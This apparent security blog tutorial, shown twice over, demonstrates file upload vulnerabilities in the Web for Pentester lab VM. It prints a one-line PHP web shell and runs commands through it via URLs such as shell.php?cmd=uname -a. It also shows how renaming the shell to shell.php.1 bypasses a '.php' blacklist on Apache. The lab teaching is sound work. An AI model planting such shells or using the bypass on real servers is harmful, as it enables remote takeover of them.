The modern web applications requires the user to upload various files on the web servers. Specially social media websites. Specially social media sites like facebook, twitter, instagram etc. allows users to upload pictures, videos files.
Now a days file upload functionality is the crucial part of many web applications. But the file upload functionality will also imposes several threats to the web applications, it is a big risk to the application as well as to the server if proper security checks and file controls are not implemented on file uploads.
The improper security checks and file handling of uploaded files would cause the upload vulnerability, which in result of code execution on the servers through web shells uploads, server-side scripting etc. And with this kind of capability an attacker could take over the entire web servers, change the source code of web applications, change the settings of web servers etc.
Web Shell : A web shell is nothing but a program or script, which allows an attacker to perform certain tasks and operations on web servers for example running shell commands and system commands, creating and deleting files, running database queries, changing source code of web application etc. An attacker must need to have web shells in order to exploit the file upload vulnerability. Generally web shells are written in server side language, which the target web server support, for example php. Below is the example of vary simple web shell written in php :
Link : http://www.sec-art.net/2019/01/weevely-php-web-shell-generation-tool.html
Now lets see some examples of file upload vulnerability, for demonstration purpose we are going to use Web4Pentester virtual machine, for more information about Web4Pentester and installation instruction, visit the link :
http://www.sec-art.net/2018/03/how-to-install-web-for-pentester-vm-in.html
In web4pentester VM, there are two example of file upload page.
The first example is :
The source code of the file upload page "example1.php" is :
Now lets look at the php code which process the uploaded file.
$_FILES['image']['name'] :- The original name of the file on the client machine
$_FILES['image']['type'] :- The mime type of the file
$_FILES['image']['size'] :- The size of the file in bytes
$_FILES['image']['tmp_name'] :- The temporary filename in which the uploaded file was stored on the server
The move_uploaded_file() function is used to move the temporary file to a location provided by the user in this case which is '/var/www/upload/images/'. As we can clearly see that there is not any code or security mechanism available which prevents the user to upload malicious files other then image files. Now lets try to upload our php web shell to the server.
We have successfully uploaded the php file, by clicking here, we can access the uploaded php file.
Now to execute command through web shell, use the below syntax :
Similarly we can execute commands any system commands. like "uname -a", "netstat" etc.
As we can see that the output of above command is little bit unreadable, so to get the clear output, view page as source-view by clicking "Control + U"
Now lets take a look at the source code of example2.php
Where the preg_match() function will try find the pattern ".php" at the end of uploaded files name and if it finds it then the script will DIE() with message "NO PHP". Now lets try to upload shell.php file here,
And as we expected the page will show the "NO PHP" message. This type of validation method is widely used in file upload forms to blacklist all the file types that have dangerous extensions. But this type of validation checking is not much effective, and it could also be bypassed by using double extensions within the uploaded file names.
But first It’s important to first understand how the target web server handles files with multiple extensions. In this example, it shall be assumed that the target server is Apache HTTP Server, the following is a quotation of the Apache HTTP Server documentation regarding files with multiple extensions.
“Files can have more than one extension, and the order of the extensions is normally irrelevant. For example, if the file welcome.html.fr maps onto content type text/html and language French then the file welcome.fr.html will map onto exactly the same information. If more than one extension is given which maps onto the same type of meta-information, then the one to the right will be used, except for languages and content encodings. For example, if .gif maps to the MIME-type image/gif and .html maps to the MIME-type text/html, then the file welcome.gif.html will be associated with the MIME-type text/html.”
Therefore, a file named filename.php.1, will be interpreted as a PHP file by Apache HTTP Server, and it will be executed. This of course, will only work if the last extension (in this case .1), is not specified in the list of MIME-types known to the web server.
Now lets rename our web shell from shell.php to shell.php.1 and then try to upload it.
This time the file is successfully uploaded onto the server. Now we can execute command.
Conclusion :
In this post we tried to get the basics idea about file upload vulnerability and its exploitation methods. Now in the next post we will see the various security mechanism used to mitigate the file upload vulnerability and how to bypass them.
Visit the link for more tutorials about Web Security : http://www.sec-art.net/p/web-security.html
Now a days file upload functionality is the crucial part of many web applications. But the file upload functionality will also imposes several threats to the web applications, it is a big risk to the application as well as to the server if proper security checks and file controls are not implemented on file uploads.
The improper security checks and file handling of uploaded files would cause the upload vulnerability, which in result of code execution on the servers through web shells uploads, server-side scripting etc. And with this kind of capability an attacker could take over the entire web servers, change the source code of web applications, change the settings of web servers etc.
Web Shell : A web shell is nothing but a program or script, which allows an attacker to perform certain tasks and operations on web servers for example running shell commands and system commands, creating and deleting files, running database queries, changing source code of web application etc. An attacker must need to have web shells in order to exploit the file upload vulnerability. Generally web shells are written in server side language, which the target web server support, for example php. Below is the example of vary simple web shell written in php :
<?php $cmd = $_GET[‘cmd’]; system($cmd); ?>If you are familiar with php programming, than its very to understand, the above code just take the command as get request and stored it into the variable cmd and the system() function of php will execute the command as system command. This is very simple web shell, there are also powerful web shells available like C99, weevely etc. Please visit the below link for detailed information about weevely.
Link : http://www.sec-art.net/2019/01/weevely-php-web-shell-generation-tool.html
Now lets see some examples of file upload vulnerability, for demonstration purpose we are going to use Web4Pentester virtual machine, for more information about Web4Pentester and installation instruction, visit the link :
http://www.sec-art.net/2018/03/how-to-install-web-for-pentester-vm-in.html
In web4pentester VM, there are two example of file upload page.
The first example is :
The source code of the file upload page "example1.php" is :
<?php require_once('../header.php'); ?> <?php if(isset($_FILES['image'])) { $dir = '/var/www/upload/images/'; $file = basename($_FILES['image']['name']); if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file)) { echo "Upload done"; echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>"; } else { echo 'Upload failed'; } } ?> <form method="POST" action="example1.php" enctype="multipart/form-data"> Mon image : <input type="file" name="image"><br/> <input type="submit" name="send" value="Send file"> </form> <?php require_once('../footer.php'); ?>Where the file upload form will simply calls itself.
<form method="POST" action="example1.php" enctype="multipart/form-data"> Mon image : <input type="file" name="image"><br/> <input type="submit" name="send" value="Send file"> </form>And also note that the enctypoe is "multipart/form-data", which is necessary for file upload forms. When PHP interpreter receives an HTTP POST request the multipart/form-data encoding type, the script will create a temporary file with a random name in a temporary directory on the server, for example — /var/tmp/php8dxsDes. The PHP interpreter will also populate the global array $_FILES with the information about the uploaded file.
Now lets look at the php code which process the uploaded file.
<?php if(isset($_FILES['image'])) { $dir = '/var/www/upload/images/'; $file = basename($_FILES['image']['name']); if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file)) { echo "Upload done"; echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>"; } else { echo 'Upload failed'; } } ?>As we can see the variable dir holds the location, where uploaded files are stored on the server. And the global array $FILES returns the following values :
$_FILES['image']['name'] :- The original name of the file on the client machine
$_FILES['image']['type'] :- The mime type of the file
$_FILES['image']['size'] :- The size of the file in bytes
$_FILES['image']['tmp_name'] :- The temporary filename in which the uploaded file was stored on the server
The move_uploaded_file() function is used to move the temporary file to a location provided by the user in this case which is '/var/www/upload/images/'. As we can clearly see that there is not any code or security mechanism available which prevents the user to upload malicious files other then image files. Now lets try to upload our php web shell to the server.
We have successfully uploaded the php file, by clicking here, we can access the uploaded php file.
http://192.168.56.101/upload/images/shell.php
But the php file shows the below error message, because we did not provide any command to execute.Now to execute command through web shell, use the below syntax :
http://server_address/upload/images/shell.php?cmd=command_name
Example : http://192.168.56.101/upload/images/shell.php?cmd=ls
The 'ls' command simply list the contents of the upload directory.Similarly we can execute commands any system commands. like "uname -a", "netstat" etc.
http://192.168.56.101/upload/images/shell.php?cmd=uname -a
http://192.168.56.101/upload/images/shell.php?cmd=netstat
As we can see that the output of above command is little bit unreadable, so to get the clear output, view page as source-view by clicking "Control + U"
Now lets take a look at the source code of example2.php
<?php require_once("../header.php"); ?> <?php if(isset($_FILES['image'])) { $dir = '/var/www/upload/images/'; $file = basename($_FILES['image']['name']); if (preg_match('/\.php$/',$file)) { DIE("NO PHP"); } if(move_uploaded_file($_FILES['image']['tmp_name'], $dir . $file)) { echo 'Upload done !'; echo 'Your file can be found <a href="/upload/images/'.htmlentities($file).'">here</a>'; } else { echo 'Upload failed'; } } ?> <form method="POST" action="example2.php" enctype="multipart/form-data"> Image: <input type="file" name="image"><br/> <input type="submit" name="send" value="Send file"> </form> <?php require_once("../footer.php"); ?>As we can see that the main difference between this example and example1.php is that the below line of code :
if (preg_match('/\.php$/',$file)) { DIE("NO PHP"); }
Where the preg_match() function will try find the pattern ".php" at the end of uploaded files name and if it finds it then the script will DIE() with message "NO PHP". Now lets try to upload shell.php file here,
And as we expected the page will show the "NO PHP" message. This type of validation method is widely used in file upload forms to blacklist all the file types that have dangerous extensions. But this type of validation checking is not much effective, and it could also be bypassed by using double extensions within the uploaded file names.
But first It’s important to first understand how the target web server handles files with multiple extensions. In this example, it shall be assumed that the target server is Apache HTTP Server, the following is a quotation of the Apache HTTP Server documentation regarding files with multiple extensions.
“Files can have more than one extension, and the order of the extensions is normally irrelevant. For example, if the file welcome.html.fr maps onto content type text/html and language French then the file welcome.fr.html will map onto exactly the same information. If more than one extension is given which maps onto the same type of meta-information, then the one to the right will be used, except for languages and content encodings. For example, if .gif maps to the MIME-type image/gif and .html maps to the MIME-type text/html, then the file welcome.gif.html will be associated with the MIME-type text/html.”
Therefore, a file named filename.php.1, will be interpreted as a PHP file by Apache HTTP Server, and it will be executed. This of course, will only work if the last extension (in this case .1), is not specified in the list of MIME-types known to the web server.
Now lets rename our web shell from shell.php to shell.php.1 and then try to upload it.
This time the file is successfully uploaded onto the server. Now we can execute command.
http://192.168.56.101/upload/images/shell.php.1?cmd=uname -a
Conclusion :
In this post we tried to get the basics idea about file upload vulnerability and its exploitation methods. Now in the next post we will see the various security mechanism used to mitigate the file upload vulnerability and how to bypass them.
Visit the link for more tutorials about Web Security : http://www.sec-art.net/p/web-security.html